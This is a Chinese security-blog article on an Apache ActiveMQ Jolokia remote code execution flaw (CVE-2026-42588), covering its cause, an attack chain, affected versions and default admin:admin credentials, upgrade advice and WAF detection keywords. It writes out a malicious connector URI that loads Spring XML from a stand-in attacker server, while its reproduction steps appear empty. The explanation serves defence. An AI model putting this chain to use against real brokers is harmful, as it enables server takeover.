Apache ActiveMQ Jolokia 远程代码执行漏洞（CVE-2026-42588）

原创

CatalyzeSec
CatalyzeSec

CatalyzeSec

2026年6月6日 11:11
湖北

在小说阅读器读本章

去阅读

免责申明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号团队不为此承担任何责任。

漏洞描述

Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件，完整遵循 JMS 规范，支持 OpenWire、STOMP、AMQP、MQTT 等多种协议，广泛应用于金融、电商、政务等领域的异步通信与消息队列场景。

CVE-2026-42588 是 ActiveMQ Web 控制台中 Jolokia JMX-HTTP 桥接接口的高危远程代码执行漏洞。攻击者通过认证后可构造恶意请求，利用 addNetworkConnector 方法加载远程 Spring XML 配置，最终在目标服务器执行任意系统命令。

漏洞评级

漏洞原理

核心问题：Jolokia 接口权限失控 + 配置注入

ActiveMQ 的 Web 控制台（端口 8161）内置了 Jolokia 组件，它能把 Java 内部的 JMX 管理操作变成 HTTP API，方便运维人员远程管理消息队列。

问题出在两处安全疏漏：

1. 接口权限过于宽松

• Jolokia 默认策略允许对 org.apache.activemq:\* 下所有 MBean 执行操作
• 包括危险的 BrokerService.addNetworkConnector(String) 方法
• 未对该高危接口做单独访问限制与入参过滤

2. 参数未做安全校验

• addNetworkConnector 接收一个 URI 参数用于配置网络连接器
• ActiveMQ 支持 masterslave://、vm:// 等特殊协议头
• URI 中可嵌入 brokerConfig=xbean:http://攻击者服务器/evil.xml

漏洞触发链路

1. 认证登录 → 获取 Session↓2. POST /api/jolokia/ → 调用 addNetworkConnector↓3. 传入恶意 URI → masterslave://?brokerConfig=xbean:http://...↓4. ActiveMQ 解析 → 向攻击者服务器发起 HTTP 请求下载 XML↓5. Spring 加载 XML → ResourceXmlApplicationContext 实例化 Bean↓6. ProcessBuilder Bean → init-method=\"start\" → 执行系统命令↓7. RCE 完成 → 以 ActiveMQ 进程权限控制服务器

关键点：

Spring 在 BrokerService 验证配置之前就完成了 Bean 实例化，因此恶意 XML 中的命令会在配置校验前执行。

利用条件

• ActiveMQ 6.0.0 ~ 6.1.1：配合 CVE-2024-32114（未认证 Jolokia）可实现无认证 RCE
• 其他版本：需要默认账号密码 admin:admin 登录后利用

漏洞复现

启动 HTTP 服务

发送恶意请求

验证

修复建议

1. 版本升级（首选方案）

• 5.x 升级至 ≥ 5.19.7
• 6.x 升级至 ≥ 6.2.6

2. 临时缓解措施

3. WAF 防护规则

拦截包含以下特征的请求：

addNetworkConnectorxbean:http://masterslave://vm://?brokerConfig